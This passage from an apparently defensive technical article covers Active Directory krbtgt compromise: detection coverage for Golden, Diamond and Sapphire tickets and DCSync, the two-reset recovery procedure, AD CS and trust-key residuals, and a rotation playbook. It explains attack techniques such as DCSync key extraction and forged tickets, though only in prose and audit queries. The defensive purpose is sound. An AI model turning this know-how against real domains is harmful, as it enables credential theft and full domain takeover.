&lt;td&gt;preventive only&lt;/td&gt;
&lt;td&gt;preventive only&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDI Suspected-Golden-Ticket (4 alerts)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDI Suspected DCSync (ID 2006)&lt;/td&gt;
&lt;td&gt;extraction step only&lt;/td&gt;
&lt;td&gt;extraction step only&lt;/td&gt;
&lt;td&gt;extraction step only&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sentinel / Splunk T1558.001 RC4 rule&lt;/td&gt;
&lt;td&gt;yes (if RC4)&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sentinel Kerberos-anomaly content pack&lt;/td&gt;
&lt;td&gt;partial (lifetime/groups)&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full PAC Signature (post-July 2023)&lt;/td&gt;
&lt;td&gt;n/a (already signed correctly)&lt;/td&gt;
&lt;td&gt;retires non-recomputing variants&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;n/a (cryptographic enforcement, not detection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;S4U2self+U2U conjunction analytic&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;would catch&lt;/td&gt;
&lt;td&gt;4 (not shipped)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Adjacent T1558 family techniques that are not krbtgt detections&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;What it targets&lt;/th&gt;
&lt;th&gt;krbtgt detection?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;T1558.002 Silver Ticket&lt;/td&gt;
&lt;td&gt;service-account long-term keys&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1558.003 Kerberoasting&lt;/td&gt;
&lt;td&gt;SPN-bearing service accounts via offline RC4 crack&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1558.004 AS-REP Roasting&lt;/td&gt;
&lt;td&gt;accounts with pre-auth disabled&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OverPass-the-Hash&lt;/td&gt;
&lt;td&gt;user NTLM hashes via Kerberos PA-DATA&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Detection in 2026 is a four-layer stack, and three of the layers leave gaps the next layer is supposed to close. The fourth gap -- the Sapphire residual -- has no layer above it. When the gaps close enough to confirm a krbtgt compromise, what does recovery actually look like?&lt;/p&gt;
&lt;h2&gt;7. Recovery: What the Two-Reset Procedure Actually Does&lt;/h2&gt;
&lt;p&gt;The Microsoft AD Forest Recovery page states the procedure verbatim:&lt;/p&gt;

&quot;You should perform this operation twice. You must wait 10 hours between password resets. 10 hours are the default Maximum lifetime for user ticket and Maximum lifetime for service ticket policy settings, hence in a case where the Maximum lifetime period changes, the minimum waiting period between resets should be greater than the configured value.&quot; -- and -- &quot;The password history value for the krbtgt account is 2, meaning it includes the two most recent passwords. By resetting the password twice you effectively clear any old passwords from the history, so there&apos;s no way another DC replicates with this DC by using an old password.&quot; [@ms-forest-recovery]
&lt;p&gt;What exactly do those two resets buy, and what do they not buy?&lt;/p&gt;
&lt;h3&gt;The mechanics of two-slot eviction&lt;/h3&gt;
&lt;p&gt;The krbtgt account, like every other AD account, stores both &lt;em&gt;current&lt;/em&gt; and &lt;em&gt;previous&lt;/em&gt; keys. A TGT issued at time $T = 0$ under key $K_0$ continues to validate after a rotation at $T = T_1$ (when $K_1$ becomes current and $K_0$ moves to the previous slot), because the KDC tries both keys during the in-flight validation window. One rotation fills the previous slot with the now-replaced $K_0$; the second rotation, separated by at least &lt;code&gt;MaxTicketAge&lt;/code&gt; so that all $K_0$-signed TGTs have expired naturally, fills the previous slot with $K_1$ and evicts $K_0$ entirely. After the second rotation completes and replicates, no key in the krbtgt account matches the attacker&apos;s extracted $K_0$; forged TGTs from that key fail validation cleanly [@ms-forest-recovery].&lt;/p&gt;

The Kerberos policy value that bounds the lifetime of a Ticket-Granting Ticket from the moment of issuance. The Active Directory default is 10 hours, configured via the Default Domain Policy. The AD Forest Recovery procedure waits at least `MaxTicketAge` between krbtgt resets to ensure no in-flight TGT outlives the period between the two rotations [@ms-forest-recovery].

flowchart LR
    A0[&quot;T=0: K_0 current, K_prior previous&quot;] --&amp;gt; A1[&quot;T=T_1: reset 1 -- K_1 current, K_0 previous&quot;]
    A1 --&amp;gt; A2[&quot;T_1 + 10h: K_1 still current, K_0 still previous&quot;]
    A2 --&amp;gt; A3[&quot;T=T_2 (≥ T_1 + 10h): reset 2 -- K_2 current, K_1 previous&quot;]
    A3 --&amp;gt; A4[&quot;After replication: K_0 evicted from both slots&quot;]
&lt;p&gt;The 10-hour wait between resets is not a Microsoft convenience choice; it is a cryptographic requirement. If the second reset lands before all $K_0$-signed TGTs have expired naturally, some of those tickets will hit a DC whose previous slot now holds $K_1$ rather than $K_0$, and the KDC will reject them. This is what KB5020805&apos;s PAC-signature deployment phases also had to navigate during the November 2022 to October 2023 rollout: signature additions and validation transitions had to bracket the maximum in-flight ticket lifetime [@kb5020805].&lt;/p&gt;
&lt;p&gt;{`
// Model the krbtgt account as a two-slot store; simulate the two-reset procedure.
function simulate(events) {
  const slots = { current: &quot;K_prior&quot;, previous: null };
  let stolen = null;
  for (const ev of events) {
    if (ev.kind === &quot;compromise&quot;) {
      stolen = slots.current;
    } else if (ev.kind === &quot;reset&quot;) {
      slots.previous = slots.current;
      slots.current  = ev.newKey;
    }
    const validates =
      stolen &amp;amp;&amp;amp; (stolen === slots.current || stolen === slots.previous);
    console.log(
      &quot;[t=&quot; + ev.t.toString().padStart(3) + &quot;h]&quot;,
      ev.kind.padEnd(11),
      &quot;current=&quot; + slots.current,
      &quot;prev=&quot; + (slots.previous ?? &quot;-&quot;),
      &quot;attacker_validates=&quot; + validates
    );
  }
}&lt;/p&gt;
&lt;p&gt;simulate([
  { t: 0,  kind: &quot;issue&quot;      },
  { t: 1,  kind: &quot;compromise&quot; },  // attacker stores K_prior as stolen
  { t: 3,  kind: &quot;reset&quot;, newKey: &quot;K_1&quot; },
  { t: 13, kind: &quot;reset&quot;, newKey: &quot;K_2&quot; },  // ≥ MaxTicketAge later
  { t: 14, kind: &quot;issue&quot;      },
]);
`}&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;New-KrbtgtKeys.ps1&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s reference automation for the procedure is &lt;code&gt;New-KrbtgtKeys.ps1&lt;/code&gt;, originally distributed as an MSDN Gallery script and currently hosted in the &lt;code&gt;microsoftarchive&lt;/code&gt; GitHub organisation. The repository banner reads, verbatim: &quot;This repository was archived by the owner on Mar 8, 2024. It is now read-only&quot; [@new-krbtgt-keys]. The script remains the canonical reference for the rotation procedure, including pre-reset and post-reset replication-health checks; it is simply no longer actively maintained. Operators in 2026 commonly fork it locally or wrap the same &lt;code&gt;Set-ADAccountPassword&lt;/code&gt; plus replication-status pattern in their own runbooks.&lt;/p&gt;
&lt;h3&gt;What two-reset does&lt;/h3&gt;
&lt;p&gt;Cryptographically invalidates previously-forged TGTs after the second reset replicates fully across all writeable DCs. This is unambiguous and well-documented; the Microsoft Learn page is the primary [@ms-forest-recovery]. After step 3 (the second reset) has replicated, no TGT signed under the pre-compromise key validates anywhere in the domain.&lt;/p&gt;
&lt;h3&gt;What two-reset does not do&lt;/h3&gt;
&lt;p&gt;Any attacker who held the krbtgt key has typically already installed parallel persistence. SpecterOps&apos;s &quot;Domain of Thrones Part II&quot; by Nico Shyne and Josh Prager, published November 6, 2023, names the rotation list verbatim: &quot;Machine accounts ... User accounts ... Service accounts -- Per domain KRBTGT account ... Trust keys and objects related to trust of all other domains; Group-managed service accounts; Key distribution service root keys&quot; [@specterops-dot2]. The same playbook enumerates the persistence vectors an attacker with krbtgt access typically establishes: AdminSDHolder ACL edits, AD CS template alternates spanning the ESC1 through ESC8 abuse classes (canonically catalogued in Schroeder and Christensen&apos;s &quot;Certified Pre-Owned,&quot; SpecterOps, June 2021) [@certified-pre-owned], SID History entries, machine-account secret retention, KDS root key exfiltration, trust-key compromise, and DSRM password exfiltration. Two-reset rotates the krbtgt key only; the rest of the trust-root set is untouched [@specterops-dot1][@specterops-dot2].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Two-reset rotation cryptographically invalidates previously-forged TGTs. It does NOT rotate any of the other secrets an attacker who held the krbtgt key has typically already installed: AdminSDHolder edits, ADCS templates, SID History, machine-account secrets, KDS root keys, trust keys, DSRM passwords. This is why confirmed krbtgt compromise is a forest-rebuild event, not a key-rotation event.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two-reset rotation is the cryptographic finish; the operational finish spans the rest of the Domain-of-Thrones surface, and the rotation alone cannot reach it. The single-sentence punchline of the article lands at the end of §11.&lt;/p&gt;

Why does Microsoft&apos;s AD Forest Recovery page treat krbtgt rotation as a recoverable rotation event while Mandiant-style and SpecterOps-style playbooks treat confirmed krbtgt compromise as a forest-rebuild event? Both statements are true at once. Microsoft documents the *cryptographic* recovery, which terminates at the krbtgt key. The IR playbooks document the *operational* recovery, which spans seven additional secret classes whose compromise the krbtgt holder typically also achieved. The cryptographic recovery is necessary and well-bounded; the operational recovery is necessary and not bounded by the same key.
&lt;p&gt;Recovery has two pieces: a fast cryptographic part (two resets, well-documented) and a slow operational part (seven other secret classes, days to weeks). Both are necessary. Neither is sufficient. Even the combined procedure leaves three structural residuals, which the next section names.&lt;/p&gt;
&lt;h2&gt;8. Theoretical Limits and Open Problems&lt;/h2&gt;
&lt;p&gt;Even with the full Domain-of-Thrones rotation surface executed correctly, three structural residuals remain. Each has a current best-partial-result; none has a closed solution.&lt;/p&gt;
&lt;h3&gt;(a) The pre-second-reset TGT-lifetime window&lt;/h3&gt;
&lt;p&gt;Any TGT minted from the compromised krbtgt key between the moment of compromise and the moment the second reset replicates remains valid until naturally expired or until step 3 lands. Mimikatz&apos;s default 10-year lifetime makes this a years-long window if the attacker pre-minted tickets and a careless DC missed the time-anomaly signal. The MDI Suspected-Golden-Ticket family includes a time-anomaly alert (the External ID 2022 sibling) [@mdi-classic] that reads the difference between plausible and implausible ticket lifetimes. The window is bounded above by the AD &lt;code&gt;MaxTicketAge&lt;/code&gt; floor: at minimum, the procedure must take 10 hours of wall-clock per Microsoft&apos;s own guidance [@ms-forest-recovery]. Below that floor the cryptographic invalidation does not finish.&lt;/p&gt;
&lt;p&gt;The mitigation is procedural: between detection and the start of the rotation, the IR team treats every TGT in the domain as suspect. In practice that means rejecting cached tickets at high-value services, forcing a TGT renewal cycle, and watching the time-anomaly alert closely. The mitigation is not perfect; an attacker who minted tickets with realistic 10-hour lifetimes inside the typical AD policy survives this residual entirely.&lt;/p&gt;
&lt;h3&gt;(b) AD CS alternate persistence (the ESC class)&lt;/h3&gt;
&lt;p&gt;An attacker who held the krbtgt key long enough to also touch AD Certificate Services has often installed an ESC-class alternate-identity persistence: a backdoored certificate template allowing Domain Admin certificate issuance (ESC1), a misconfigured &lt;code&gt;EnrolleeSuppliesSubject&lt;/code&gt; template (ESC4), an HTTP-bound CA endpoint vulnerable to &lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;NTLM relay&lt;/a&gt; (ESC8). The ESC class taxonomy is catalogued in Schroeder and Christensen&apos;s &quot;Certified Pre-Owned&quot; white paper (SpecterOps, June 2021) [@certified-pre-owned]. The compromised template or endpoint survives krbtgt rotation entirely. The CA private key is its own trust root, parallel to (not subordinate to) the krbtgt key. Domain-of-Thrones Part II names ADCS as a separate rotation workstream that must be addressed alongside the krbtgt reset [@specterops-dot2].&lt;/p&gt;
&lt;p&gt;The structural fact: a domain with AD CS deployed has at least two cryptographic trust roots (krbtgt long-term key + CA private key) whose compromises are &lt;em&gt;both&lt;/em&gt; recoverable only through different mechanisms. PKINIT, the Kerberos pre-authentication extension that validates certificate-bearing AS-REQs, accepts identities the CA chain attests to. Compromise of the CA chain yields valid Kerberos authentication as any principal, by a different mechanism than holding the krbtgt key, with the same end result.&lt;/p&gt;
&lt;h3&gt;(c) Cross-domain trust-key compromise&lt;/h3&gt;
&lt;p&gt;Within a multi-domain forest, the krbtgt of each domain is trusted by the others through inter-domain trust keys. A krbtgt compromise in a child domain can become a forest-level event if the trust topology is not hardened: SID Filtering misconfigurations, missing Selective Authentication on outbound trusts, or stale forest-trust artefacts from earlier domain migrations all extend the blast radius beyond the directly-compromised domain. Microsoft&apos;s &quot;Recover from systemic identity compromise&quot; guidance and the AD Forest Recovery procedure index together cover the cross-domain rotation requirements; Domain-of-Thrones Part II&apos;s &quot;Trust keys and objects related to trust of all other domains&quot; entry is the concise operational statement [@specterops-dot2].&lt;/p&gt;
&lt;p&gt;The mitigation is architectural: domain-isolation discipline at the design phase plus Selective Authentication on all inbound trusts. After the fact, every domain whose krbtgt the compromised domain trusted (directly or transitively) becomes part of the rotation surface.&lt;/p&gt;
&lt;h3&gt;(d) The HSM-bound krbtgt aspiration&lt;/h3&gt;
&lt;p&gt;A theoretically clean solution exists in the literature: split the krbtgt key material such that no single party -- including the DC&apos;s own KDC service -- could read the full key in cleartext. The construction would be a hardware-security-module-bound krbtgt key (the HSM exposes only sign and verify operations on a key it never releases), or a threshold-cryptography scheme (the key is reconstructed across $n$ DCs, $t$ of which must cooperate per ticket-signing operation). Either construction would close the underlying primitive by making the krbtgt key unreadable in cleartext to anyone with code execution on a DC.&lt;/p&gt;
&lt;p&gt;Neither construction is supported by any [MS-KILE] revision through 47.0 dated April 27, 2026 [@mskile]. Neither is on any published Microsoft roadmap as of May 2026. The closest analogues that have shipped -- LSAISO/Credential Guard&apos;s VBS trustlet for LSASS secrets on workstations and member servers -- explicitly omit the writeable-DC case by design, because a writeable DC must read the krbtgt key to issue tickets.&lt;/p&gt;
&lt;p&gt;Even after two-reset and Domain of Thrones, three residuals remain: a window of time, an alternate trust root, and a topology problem. None of them are theoretical -- all three are operational realities documented in 2024-2026 incident-response practice. But they raise a different question: how does the krbtgt key compare to the other secrets in an AD trust-root set?&lt;/p&gt;
&lt;h2&gt;9. Where KRBTGT Sits in the AD Trust-Root Set&lt;/h2&gt;
&lt;p&gt;A correction to a framing that appears in many secondary write-ups: the krbtgt long-term key is &lt;em&gt;one&lt;/em&gt; of a small set of &quot;AD trust roots,&quot; not the only one. The framing matters because the rotation playbook in Section 7 lists seven secret classes for a reason: each is a candidate trust root that survives compromise of any other.&lt;/p&gt;

flowchart TD
    K[&quot;krbtgt long-term key&quot;] --&amp;gt;|&quot;every TGT in the domain&quot;| ENVA[&quot;Domain-wide Kerberos auth&quot;]
    C[&quot;AD CS root CA private key&quot;] --&amp;gt;|&quot;PKINIT certificates&quot;| ENVA
    G[&quot;KDS root key&quot;] --&amp;gt;|&quot;gMSA password derivation&quot;| SVC[&quot;Service-account auth&quot;]
    T[&quot;Inter-domain trust keys&quot;] --&amp;gt;|&quot;cross-domain TGT minting&quot;| FOR[&quot;Forest-wide auth&quot;]
    D[&quot;DSRM passwords on writeable DCs&quot;] --&amp;gt;|&quot;local-admin equivalent&quot;| DC[&quot;DC-local auth&quot;]
    DC --&amp;gt; ENVA
    DC --&amp;gt; C
    DC --&amp;gt; G
    DC --&amp;gt; T
    DC --&amp;gt; K
&lt;p&gt;&lt;strong&gt;KRBTGT long-term key.&lt;/strong&gt; Issues TGTs for all principals in the domain. Unique property within the Kerberos trust root: holding it forges TGTs for arbitrary principals, including ones that do not exist in the directory. Rotation: the two-reset, ten-hour-interval procedure on the AD Forest Recovery page [@ms-forest-recovery].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AD CS root CA private key.&lt;/strong&gt; Issues certificates that PKINIT trusts for Kerberos pre-authentication. Compromise yields Kerberos auth as any principal via PKINIT -- a different mechanism with the same end result. Rotation: CA hierarchy rebuild, significantly more expensive than krbtgt rotation. SpecterOps &quot;Certified Pre-Owned&quot; (Schroeder + Christensen, June 2021) is the canonical primary on the ESC-class abuses of this trust root, cross-referenced in Domain of Thrones Part II [@certified-pre-owned][@specterops-dot2].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KDS root key.&lt;/strong&gt; Group Managed Service Account passwords are derived deterministically from a &lt;a href=&quot;https://paragmali.com/blog/dpapi-and-dpapi-ng-the-credential-vault-under-everything/&quot; rel=&quot;noopener&quot;&gt;KDS root key&lt;/a&gt; plus a per-account &lt;code&gt;msDS-ManagedPasswordId&lt;/code&gt;. Compromise of the KDS root key reads every gMSA password in the forest. Different blast radius (service accounts only). Rotation: KDS root key rotation followed by gMSA cycling [@specterops-dot2].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Per-domain inter-domain trust keys.&lt;/strong&gt; Bridge Kerberos trust between domains in a forest or across explicit external trusts. Compromise yields cross-domain TGT minting. Rotation: per-trust password rotation, with SID Filtering and Selective Authentication audits as the standard hardening procedure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DSRM passwords on writeable DCs.&lt;/strong&gt; Directory Services Restore Mode is a local-admin equivalent at the DC level; compromise yields a local logon to the DC, which then enables many other paths including direct read of the krbtgt key from &lt;code&gt;ntds.dit&lt;/code&gt;. Rotation: per-DC DSRM password rotation [@specterops-dot2].&lt;/p&gt;
&lt;h3&gt;The precise framing&lt;/h3&gt;
&lt;p&gt;Within the Kerberos trust root of a single domain, the krbtgt key occupies a &lt;em&gt;unique&lt;/em&gt; position: it is the issuer of every TGT, and forging a TGT requires exactly this key. At the forest-AD-trust-graph level, the krbtgt key is one of a handful of high-cost-to-rotate trust roots, not the only one. The framing matters because it explains why Domain of Thrones Part II lists seven rotation workstreams: each is a candidate path to the same end result (arbitrary identity in the forest) through a different cryptographic mechanism.&lt;/p&gt;
&lt;p&gt;Five trust roots, one (krbtgt) with a unique forge-arbitrary-TGTs property, all five surfacing in the rotation list. With the trust-root topology mapped, the article&apos;s last technical job is the practical playbook: what does the reader actually do tomorrow morning?&lt;/p&gt;
&lt;h2&gt;10. Practical Guide: The Rotation and Detection Playbook&lt;/h2&gt;
&lt;p&gt;Four lanes. Each lane is a concrete action a reader can execute starting tomorrow morning.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;strong&gt;Lane 1:&lt;/strong&gt; Preventive hygiene -- rotate krbtgt twice a year on a calendar schedule and audit who can DCSync. &lt;strong&gt;Lane 2:&lt;/strong&gt; Detection deployment -- ship MDI Suspected-Golden-Ticket alerts plus SIEM T1558.001 content. &lt;strong&gt;Lane 3:&lt;/strong&gt; Confirmed-compromise response -- two-reset rotation followed by the Domain-of-Thrones surface. &lt;strong&gt;Lane 4:&lt;/strong&gt; What does NOT work -- four traps to avoid.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Lane 1: preventive hygiene&lt;/h3&gt;
&lt;p&gt;Rotate the krbtgt password twice a year on a calendar schedule, regardless of any specific incident. Use &lt;code&gt;New-KrbtgtKeys.ps1&lt;/code&gt; (or a fork of it) with pre-reset and post-reset replication-health checks [@new-krbtgt-keys]. Verify Active Directory replication health between the two rotations; if replication is lagging on any DC, the second reset can outpace the first in some replicas and break in-flight tickets.&lt;/p&gt;
&lt;p&gt;Move every Tier-0 account into the Protected Users group. Enable Credential Guard on every workstation and member server. Credential Guard does NOT protect the DC itself by design -- DCs must read the krbtgt key unencrypted -- but it kills the worker-station memory-scrape that initially gets an attacker into a position to pivot to the DC.&lt;/p&gt;
&lt;p&gt;Audit who can invoke DCSync. The BloodHound query &lt;code&gt;MATCH (u)-[:DCSync]-&amp;gt;(d:Domain)&lt;/code&gt; returns every principal whose existing AD permissions can extract the krbtgt key without a DC compromise [@bloodhound-notes][@mitre-t1003006]. Every match should map to a justified administrative role; any unexpected match is a finding.&lt;/p&gt;

LSAISO is a Virtualisation-Based Security trustlet that isolates long-term secrets from a SYSTEM-privileged kernel on workstations and member servers. On writeable DCs the design omits LSAISO because the KDC service must read the krbtgt key unencrypted to issue tickets. This is precisely the design property a DCSync-capable attacker exploits.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Two krbtgt rotations per year as preventive hygiene -- not a response to a specific incident. Use &lt;code&gt;New-KrbtgtKeys.ps1&lt;/code&gt; with replication-health checks before, between, and after. The 10-hour wait between rotations is mandatory; do not shorten it [@ms-forest-recovery].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Lane 2: detection deployment&lt;/h3&gt;
&lt;p&gt;Ship the MDI Suspected-Golden-Ticket alert family plus the DCSync alert (External ID 2006) [@mdi-classic][@mdi-credential]. Confirm the Suspected-Golden-Ticket alerts (2009, 2013, 2022, 2027, 2032, 2040) are active for every domain controller MDI is deployed against. Configure Microsoft Sentinel content-pack rules covering T1558.001 Golden Ticket and Kerberos-anomaly patterns (not the T1558.003 Kerberoasting rules, which target service-account SPNs and are not a krbtgt detection asset). Configure Splunk T1558.001 detection [@splunk-7d9] and tune the encryption-type baseline against legacy systems that legitimately negotiate RC4 (or, better, retire those systems).&lt;/p&gt;
&lt;p&gt;Ingest BloodHound for posture-graph visibility. Configure regular collections (the default is weekly) so the DCSync edge list stays current as ACLs change. Cross-reference the DCSync edge inventory against the actual administrative role assignments quarterly.&lt;/p&gt;
&lt;h3&gt;Lane 3: confirmed-compromise response&lt;/h3&gt;
&lt;p&gt;When MDI or Sentinel surfaces a confirmed krbtgt compromise -- DCSync extraction observed against a writeable DC, or a Suspected-Golden-Ticket alert with concrete supporting evidence -- the response runs in two parallel tracks. The cryptographic track executes the two-reset rotation: reset the krbtgt password (replicate, verify), wait at least 10 hours, reset again (replicate, verify) [@ms-forest-recovery]. The operational track executes the Domain-of-Thrones Part II rotation surface [@specterops-dot2]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AD CS template review covering the ESC1 through ESC8 abuse classes [@certified-pre-owned]; replace or restrict templates with &lt;code&gt;EnrolleeSuppliesSubject&lt;/code&gt;, broad &lt;code&gt;Enroll&lt;/code&gt; permissions, or weak EKU restrictions.&lt;/li&gt;
&lt;li&gt;SID History audit (&lt;code&gt;Get-ADUser -Filter * -Properties SIDHistory&lt;/code&gt;); investigate every account whose SID History contains a Domain Admins or Enterprise Admins SID.&lt;/li&gt;
&lt;li&gt;AdminSDHolder ACL audit; reset Protected Group inherited ACLs and verify the SDProp runs cleanly.&lt;/li&gt;
&lt;li&gt;Machine-account secret rotation, especially for Tier-0 servers.&lt;/li&gt;
&lt;li&gt;KDS root-key rotation followed by gMSA password cycling.&lt;/li&gt;
&lt;li&gt;Trust-key rotation for every inbound and outbound trust.&lt;/li&gt;
&lt;li&gt;DSRM password rotation on every writeable DC.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After both tracks complete, re-baseline detection: the post-incident DC event-log baseline will differ from the pre-incident baseline, and detection thresholds may need re-tuning to suppress the resulting alerts.&lt;/p&gt;

The reference automation runs against the krbtgt SID specifically, not the friendly name, to avoid any ambiguity with a renamed object. Conceptually: `Set-ADAccountPassword -Identity (Get-ADUser -Filter &quot;objectSID -like &apos;*-502&apos;&quot;) -Reset -NewPassword (Convert-To-SecureString (New-RandomPassword) -AsPlainText -Force)`. The Microsoft Learn PowerShell reference for the `Set-ADAccountPassword` cmdlet documents the `-Reset` plus `-NewPassword` parameters used here [@ms-set-adaccountpassword]. The `New-KrbtgtKeys.ps1` script wraps this with replication checks and a confirmation prompt [@new-krbtgt-keys]. Production runbooks always include a pre-check that `Get-ADReplicationFailure` returns no failures before any reset is issued.
&lt;h3&gt;Lane 4: what does NOT work&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;strong&gt;Renaming krbtgt.&lt;/strong&gt; The RID 502 binding is what the KDC derives from, not the &lt;code&gt;sAMAccountName&lt;/code&gt;. The KDC service does not care about the friendly name. &lt;strong&gt;Disabling krbtgt.&lt;/strong&gt; The account is already disabled for interactive logon by design [@ms-default-accounts]. Toggling the field is semantically meaningless to the KDC service, which reads the long-term key directly from the directory. &lt;strong&gt;Single rotation.&lt;/strong&gt; Password-history-of-2 means a single rotation only retires the &lt;em&gt;older&lt;/em&gt; of the two keys, leaving the attacker-extracted key (which was current at compromise) still in the previous slot [@ms-forest-recovery]. The procedure must run twice. &lt;strong&gt;Treating MDI Suspected-Golden-Ticket alerts as sufficient.&lt;/strong&gt; Those alerts do not cover Diamond and Sapphire by construction. Sapphire defeats every PAC-content anomaly detection because the PAC is genuine. Confirmed-compromise response must assume the worst even when MDI is silent.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Preventive hygiene, detection deployment, confirmed-compromise response, and four traps to avoid. The FAQ that follows addresses what remains.&lt;/p&gt;
&lt;h2&gt;11. FAQ&lt;/h2&gt;

No. It retires Diamond Tickets that do not recompute the Full PAC Signature. It does nothing against tickets minted from a known krbtgt key, including Sapphire Tickets (no PAC modification) and recomputed Diamond Tickets (the attacker holds the key and can compute the new signature in the same step as the older KDC signature) [@kb5020805][@mspac].

No. See §10 Lane 4 trap #1: the RID 502 binding is what the KDC derives from, not the `sAMAccountName` [@ms-default-accounts][@ms-sids].

No. See §10 Lane 4 trap #3: password-history-of-2 keeps the previous key valid after a single rotation, so the procedure must run twice with at least `MaxTicketAge` between resets [@ms-forest-recovery][@new-krbtgt-keys].

No. See §10 Aside on why Credential Guard skips the DC: the KDC service on a writeable DC must read the krbtgt key unencrypted to issue tickets, and DCSync is a remote replication API call (DRSGetNCChanges), not a local LSASS memory scrape [@mitre-t1003006][@ms-credential-guard].

Mechanically, in-flight TGT validation requires the previous-key slot to retain validity for at least `MaxTicketAge` after each rotation. Operationally, the recommended cadence is calendar-driven preventive rotation twice a year, with incident-driven rotation as a separate workstream when confirmed compromise is detected [@ms-forest-recovery].

Indirectly. It forces all krbtgt-encrypted tickets to AES, raising the offline-crack bar against a captured ticket and reducing the surface for the Splunk RC4-Kerberos-anomaly detection family [@splunk-7d9]. It does not affect attacks against a captured krbtgt key; both AES-128 and AES-256 derivations are held in the same account and both validate forged TGTs cleanly.

Yes. Each Read-Only Domain Controller has its own `krbtgt_` account whose key signs TGTs only for principals that the RODC can authenticate [@adsec-483]. The full-domain krbtgt is the only account whose key signs TGTs accepted by every DC in the domain; compromise of an RODC-specific `krbtgt_` is a contained event whose blast radius is bounded by the RODC&apos;s allowed-list policy.

No. The IAKerb and Local KDC features shipping in recent Windows builds affect *where* KDCs run (allowing client-to-client Kerberos without a domain-joined intermediary), not the krbtgt-key trust root inside a domain. The post-RC4 enctype work affects *which* enctypes the krbtgt key derives, not the role of the key. As of [MS-KILE] revision 47.0 dated April 27, 2026, the krbtgt long-term key is still the sole trust anchor for every TGT in the domain [@mskile].
&lt;h3&gt;One sentence to take away&lt;/h3&gt;

Krbtgt rotation invalidates forged TGTs; it does not recover the systemic compromise that produced the forged TGTs in the first place.
&lt;p&gt;That is the precise sentence to keep from ten thousand words. The cryptographic question -- &quot;is the ticket valid?&quot; -- terminates at one key. The operational question -- &quot;is the domain still ours?&quot; -- never does. The 1988 design chose to make ticket validation a property of a single shared secret because that choice made the protocol simple and provably correct. The choice remains correct in 2026. What changed is the meaning of the word &lt;em&gt;compromise&lt;/em&gt;: in 1988 the threat model was a passive eavesdropper on a campus LAN; in 2026 the threat model is a remote API call that streams the secret across a &lt;code&gt;DRSGetNCChanges&lt;/code&gt; exchange. The key did not move. The attacker&apos;s reach did.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;krbtgt-the-account-that-owns-active-directory&quot; keyTerms={[
  { term: &quot;KRBTGT account&quot;, definition: &quot;The RID-502 Active Directory account whose long-term key encrypts every TGT in the domain.&quot; },
  { term: &quot;Ticket-Granting Ticket (TGT)&quot;, definition: &quot;The Kerberos credential issued at logon, encrypted under the krbtgt long-term key, that the client presents to request service tickets.&quot; },
  { term: &quot;Privilege Attribute Certificate (PAC)&quot;, definition: &quot;The Windows-specific structure inside the authorization-data field of every Kerberos ticket, carrying SIDs and signatures.&quot; },
  { term: &quot;DCSync&quot;, definition: &quot;A replication-API primitive (MITRE T1003.006) that streams account secrets including the krbtgt key from a writeable DC to any principal with replication rights.&quot; },
  { term: &quot;Golden Ticket&quot;, definition: &quot;A forged TGT minted from a held krbtgt key (MITRE T1558.001).&quot; },
